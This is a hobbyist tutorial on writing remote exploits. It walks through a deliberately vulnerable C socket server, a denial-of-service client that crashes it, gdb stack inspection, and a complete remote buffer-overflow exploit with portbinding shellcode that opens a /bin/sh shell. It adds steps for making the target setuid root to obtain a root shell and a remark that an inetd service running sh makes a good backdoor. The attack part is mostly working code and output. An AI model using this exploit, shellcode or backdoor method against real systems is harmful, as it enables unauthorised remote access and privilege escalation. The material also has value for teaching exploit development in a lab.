How to write remote exploits ( V. 1.1)

I hope you’ll enjoy it, ok what are we going to do? We want to exploit a vulnerable server program (vulnerable.c). We want to get a remote shell. In case you are looking for an exercise, read the vulnerable.c program, compile it and try to exploit it. If you don’t have any clue about remote exploits…… well then read further and let us first take a look at the vulnerable program… later we want to look at the functions of the vulnerable program, then how we can abuse an overflow within the program, then we want to define the general structure of the exploit code, and at last we want to write an exploit…



-------------------------------------------- vulnerable.c ----------------------------------------------


#include
#include
#include


#define BUFFER_SIZE 1024
#define NAME_SIZE 2048

int handling(int c)

{
char buffer[BUFFER_SIZE], name[NAME_SIZE];
int bytes;
strcpy(buffer, "My name is: ");
bytes = send(c, buffer, strlen(buffer), 0);
if (bytes == -1)
return -1;
bytes = recv(c, name, sizeof(name), 0);
if (bytes == -1)
return -1;
name[bytes - 1] = ’\0’;
sprintf(buffer, "Hello %s, nice to meet you!\r\n", name);
bytes = send(c, buffer, strlen(buffer), 0);
if (bytes == -1)
return -1;
return 0;

}

int main(int argc, char *argv[])

{
int s, c, cli_size;
struct sockaddr_in srv, cli;
if (argc != 2)
{
fprintf(stderr, "usage: %s port\n", argv[0]);
return 1;
}
s = socket(AF_INET, SOCK_STREAM, 0);
if (s == -1)
{
perror("socket() failed");
return 2;
}
srv.sin_addr.s_addr = INADDR_ANY;
srv.sin_port = htons( (unsigned short int) atol(argv[1]));
srv.sin_family = AF_INET;
if (bind(s, &srv, sizeof(srv)) == -1)
{
perror("bind() failed");
return 3;
}
if (listen(s, 3) == -1)
{
perror("listen() failed");
return 4;
}
for(;;)
{
c = accept(s, &cli, &cli_size);
if (c == -1)
{
perror("accept() failed");
return 5;
}
printf("client from %s", inet_ntoa(cli.sin_addr));
if (handling(c) == -1)
fprintf(stderr, "%s: handling() failed", argv[0]);
close(c);
}
return 0;

}

---------------------------------------------- EOF------------------------------------------------------

Here’s how you must compile and use the program.

user@linux:~/ > gcc vulnerable.c -o vulnerable

user@linux:~/ > ./vulnerable 8080

./vulnerable 8080 this means, that you run the service on port 8080, look at the port you wanna take, you mustn’t use a privileged port (1 – 1024) assuming you are not root.

Now we’ve compiled the program and we know how to run it.. with the parameter

program

Now we want check some addresses of the program, and take a look on how it is built. We start the vulnerable program with gdb, to look at some things…





now do the following:

user@linux~/ > gdb vulnerable

GNU gdb 4.18

Copyright 1998 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you are

welcome to change it and/or distribute copies of it under certain conditions.

Type "show copying" to see the conditions.

There is absolutely no warranty for GDB. Type "show warranty" for details.

This GDB was configured as "i386-suse-linux"...

(gdb) run 8080

Starting program: /home/user/directory/vulnerable 8080

Now the program is listening for an incoming connection on port 8080.

Next connect with telnet or netcat on port 8080.

user@linux:~/ > telnet localhost 8080

Trying ::1...

telnet: connect to address ::1: Connection refused

Trying 127.0.0.1...

Connected to localhost.

Escape character is '^]'.

My name is: Robin

, nice to meet you!

Connection closed by foreign host.

user@linux:~/ >

Now the easy server program doesn’t make anything else then getting a name and writing it back on your screen…. Ok let’s go further…

While you made this, the gdb (debugger) wrote the following on the screen:

client from 127.0.0.1 0xbffff28c

/*Don’t be confused if the address is different on your computer, on my box it is 0xbffff28c */

Ok the server is still running because of the for-loop, so it’s always repeating until you kill the server program.

3. Overflowing the server program

Let's test something....

Now we reconnect to the service on port 8080 and put more than 1024 bytes of characters on the command line "My name is:..."

It should look like this... (I'll take A's *g*)...

user@linux:~/ > telnet localhost 8080

Trying ::1...

telnet: connect to address ::1: Connection refused

Trying 127.0.0.1...

Connected to localhost.

Escape character is '^]'.

My name is: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Now the telnet client should be disconnected... but why? Let's look at the output of gdb:

Program received signal SIGSEGV, Segmentation fault.

0x41414141 in ?? ()

(gdb)

// Don’t close gdb !!

What happened? As we can see, the eip is set to 0x41414141, probably you are asking why?

OK, I’ll try to explain it. 0x41 stands for an ‘A’... as we put over 1024 bytes in, the program has tried to copy the string name[2048] into

buffer[1024].... so because the string in name[2048] was greater than 1024 bytes, the name buffer has overwritten the buffer

and also overwritten the saved eip (extended instruction pointer, here is the returnaddress stored).. so our buffer

looks like this:

[xxxxxxxx-name-2048-bytes-xxxxxxxxxx]

[xxxxx buffer-only-1024-bytes xxx] [EIP]

Ok our stack should look like this. We’ve tried to put more than 1024 byte into buffer, and then we’ve overwritten the eip *g*.

// don't forget .. eip has a size of 4 bytes !



After you overwrote the whole returnaddress, the function wanted to return to the main function, it jumped to the

wrong address (0x41414141) .... and so there was a segmentation fault.

Now here's a DoS tool for this program:

------------------------------------- dos.c ------------------------------------------------------------

#include

#include

#include

#include

#include

int main(int argc, char **argv)

{

struct sockaddr_in addr;

struct hostent *host;

char buffer[2048];

int s, i;

if(argc != 3)

{

fprintf(stderr, "usage: %s \n", argv[0]);

exit(0);

}

s = socket(AF_INET, SOCK_STREAM, 0);

if(s == -1)

{

perror("socket() failed\n");

exit(0);

}

host = gethostbyname(argv[1]);

if( host == NULL)

{

herror("gethostbyname() failed");

exit(0);

}

addr.sin_addr = *(struct in_addr*)host->h_addr;

addr.sin_family = AF_INET;

addr.sin_port = htons(atol(argv[2]));



if(connect(s, &addr, sizeof(addr)) == -1)

{

perror("couldn't connect so server\n");

exit(0);

}

/* Not difficult only filling buffer with A’s.... den sending nothing more */

for(i = 0; i < 2048 ; i++)

buffer[i] = 'A';

printf("buffer is: %s\n", buffer);

printf("buffer filled... now sending buffer\n");

send(s, buffer, strlen(buffer), 0);

printf("buffer sent.\n");

close(s);

return 0;

}

--------------------------------------------- EOF ------------------------------------------------------











4. Finding the return address



I only want to show you how the structure is of an remote exploit looks like, so let's find out what we are going to do:

First we open gdb and search for the esp... to find esp you can put in the gdb.. (I hope you didn't close gdb) after getting a SEGFAULT... ok now type this x/200bx $esp-200 in, so you should get an ouput of addresses... It should look like this :

(gdb) x/200bx $esp-200

0xbffff5cc: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff5d4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff5dc: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff5e4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff5ec: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff5f4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff5fc: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff604: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff60c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff614: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff61c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff624: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff62c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff634: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff63c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff644: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff64c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff654: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff65c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff664: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff66c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff674: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff67c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

---Type to continue, or q to quit---

Ok know we know that we've overwritten the whole buffer, so let's take one of those addresses... I'll show you later

why this... (because we want to guess the address), maybe you know the NOP's technique... so it shouldn't be any problem to

make our exploit working as well.... or to make our chance bigger to guess the return-address.

Attention don’t take the nearest address near the end of the 0x41, take an address which is in the middle, we’ll overwrite it later with NOPs.



5. Structure of the exploit code

So we've got a possible return address, let's try to use it... the exploit code should be structured like this:

1. First let's find out the esp.. ok we've got it. (ok we've got an address near the esp, that isn't any problem, because we’ll fill the buffer with NOP's)... then you should find a good shellcode which binds a shell on a port... Don't forget: in remote exploits we can't use local exploit shellcodes.. ok we could, but it isn’t very clever. So we have to find another way to get a shell. What about a portbinder shellcode, which binds a shell on a port ??

Ok in the net are many of these portbinder shellcodes .. i.e. www.hack.co.za or my page *g*.

2. Declaring a buffer which is bigger than 1024 bytes... let's make it 1064 bytes, so there is no problem to overwrite eip.. so don't forget you only have to declare a buffer which is greater than 1024 bytes...

3. Let's prepare the buffer. Now let's first fill the whole buffer with NOP's:

memset(buffer, 0x90, 1064);



4. Let's copy the shellcode into the buffer

memcpy(buffer+1001-sizeof(shellcode), shellcode, sizeof(shellcode));

Here we put the shellcode in the middle of the buffer

Why? Ok, if we got enough NOPS at the beginnig, our chance is getting better to execute the shellcode

5. Let's terminate the Nullbyte in the buffer

buffer[1000] = 0x90; // 0x90 is the NOP in hexadecimal

6. Let's copy the returnaddress at the end of the buffer

for(i = 1022; i < 1059; i+=4)

{

((int *) &buffer[i]) = RET;

// RET is the returnaddress we want to use... #define in the header

}

We know that the buffer ends by 1024 bytes, but to get sure we begin on 1022, then we’re copying the returnaddress until we’ve got 1059 bytes.. that is enough because we've already overwritten the eip (we hope so *g*).

7. Let's add a \0 Nullbyte at the end of our prepared buffer:

buffer[1063] = 0x0;

Now we've prepared our buffer, now we only need to send it to the vulnerable host.. by port and host or ip.

-------------------------------------------- exploit.c --------------------------------------------------

/* Simple remote exploit, which binds a shell on port 3789

* by triton

*

* After return address was overwritten, you can connect

* with telnet or netcat to the victim host on Port 3789

* After you logged in... there’s nothing, but try to enter "id;" (don’t forget the semicolon)

* So you should get an output, ok you’ve got a shell *g*. Always use:

*

* ;

*

* execute.

*/

#include

#include

#include

//Portbinding Shellcode

char shellcode[] =

"\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8"

"\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89"

"\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\x89\x4d\xf0"

"\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd"

"\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9"

"\xb2\x3f\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x18\x5e\x89\x75"

"\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08"

"\x8d\x55\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh";

//standard offset (probably must be modified)

#define RET 0xbffff5ec



int main(int argc, char *argv[]) {

char buffer[1064];

int s, i, size;

struct sockaddr_in remote;

struct hostent *host;

if(argc != 3) {

printf("Usage: %s target-ip port\n", argv[0]);

return -1;

}

// filling buffer with NOPs

memset(buffer, 0x90, 1064);

//copying shellcode into buffer

memcpy(buffer+1001-sizeof(shellcode) , shellcode, sizeof(shellcode));

// the previous statement causes a unintential Nullbyte at buffer[1000]

buffer[1000] = 0x90;

// Copying the return address multiple times at the end of the buffer...

for(i=1022; i < 1059; i+=4) {

* ((int *) &buffer[i]) = RET;

}

buffer[1063] = 0x0;

//getting hostname

host=gethostbyname(argv[1]);

if (host==NULL)

{

fprintf(stderr, "Unknown Host %s\n",argv[1]);

return -1;

}

// creating socket...

s = socket(AF_INET, SOCK_STREAM, 0);

if (s < 0)

{

fprintf(stderr, "Error: Socket\n");

return -1;

}

//state Protocolfamily , then converting the hostname or IP address, and getting port number

remote.sin_family = AF_INET;

remote.sin_addr = *((struct in_addr *)host->h_addr);

remote.sin_port = htons(atoi(argv[2]));

// connecting with destination host

if (connect(s, (struct sockaddr *)&remote, sizeof(remote))==-1)

{

close(s);

fprintf(stderr, "Error: connect\n");

return -1;

}

//sending exploit string

size = send(s, buffer, sizeof(buffer), 0);

if (size==-1)

{

close(s);

fprintf(stderr, "sending data failed\n");

return -1;

}

// closing socket

close(s);

}

--------------------------------------------- EOF-------------------------------------------------------

7. Using the exploit

user@linux~/ > gcc exploit.c –o exploit

user@linux~/ > ./exploit

Now it should work If you got the right return address... or one of the right return addresses.

user@linux~/ > telnet 3879

If you’re connected then try to do this:

id;

uid=500(user) gid=500(user) groups=500(user)

As you can see, it works very well.





8. Getting root privileges

Do the following:

user@linux~/ > su

password: ******

root@linux~/ > ls –ln vulnerable

-rwxrwxr-x 1 500 500 14106 Jun 18 14:12 vulnerable

root@linux~/ > chown root vulnerable

root@linux~/ > chmod 6755 vulnerable

root@linux~/ > ./vulnerable

Now you can exploit the server program, and you should get a root shell *g*

9. Enter the service in inetd.conf

Ok we’re interested how the program, would work, if it would be a deamon. Now do the following:

First copy the vulnerable pogram to /usr/bin/

root@linux~/ > cp vulnerable /usr/bin/vulnerable

Now let’s modify some files...

root@linux~/ > vi /etc/services

(Feel free to use your favourite editor instead of vi)

Define a port which you wanna take. I’ll take the port 1526, now let’s enter this informations into /etc/services

vulnerable 1526/tcp # defining port for our server program, save and quit

Now edit the inetd.conf file

root@linux~/ > vi /etc/inetd.conf

put in:

vulnerable stream tcp nowait root /usr/bin/vulnerable vulnerable 1526

Now safe the inetd.conf file and quit.

root@linux~/ > killall –HUP inetd

Now restart inetd and everything should work..

Note: This is also a good way to make a backdoor, adding a service in /etc/services then, add the things in inetd.conf and right /bin/sh sh –i or sh –h *g*....

9. Problem solutions

If the exploit doesn’t work, please think about the return address, it could be wrong, test it with gdb....

user@linux~/ > gdb vulnerable

.....

(gdb) run

Now you can exploit the program, if it doesn’t work look at the output of gdb, and try to find out the address, like in Chapter 4.

If there any other problems ... read the remarks *g*.

10. Remarks

If you find a bug, please mail me, so I can correct the current Version. If you want to criticize my english, I’ll delete your message :-) *nobody’s perfect*, but if you really got problems to understand this, please ask me... But please do not tease me with stupid question, I don’t have the time to answer every question.

If you want to put this text on your page, no problem, but please do not change the copyright or other things....

11. Greets

Thanks to Maverick for the vulnerable programm *hehe* (in his Tutorial "Socket Programming"),

thanks to triton for the exploitcode (great man, also member of buha-security.de)

Greets to all members of buha-security.de and greets to XaitaX, cat, Anthraxx, Jess (I wonder what happend with her), DrDoo (knuff)

and of course one of my best friends Richard Hirner (well I know him 1,2 year ago, but we didn't meet us.... *g*..)... at least greets to all apprentices of LGT Bank in Liechtenstein, special greets to Marc, Etienne, Martina... (Toni from Hospital too, my own appretice)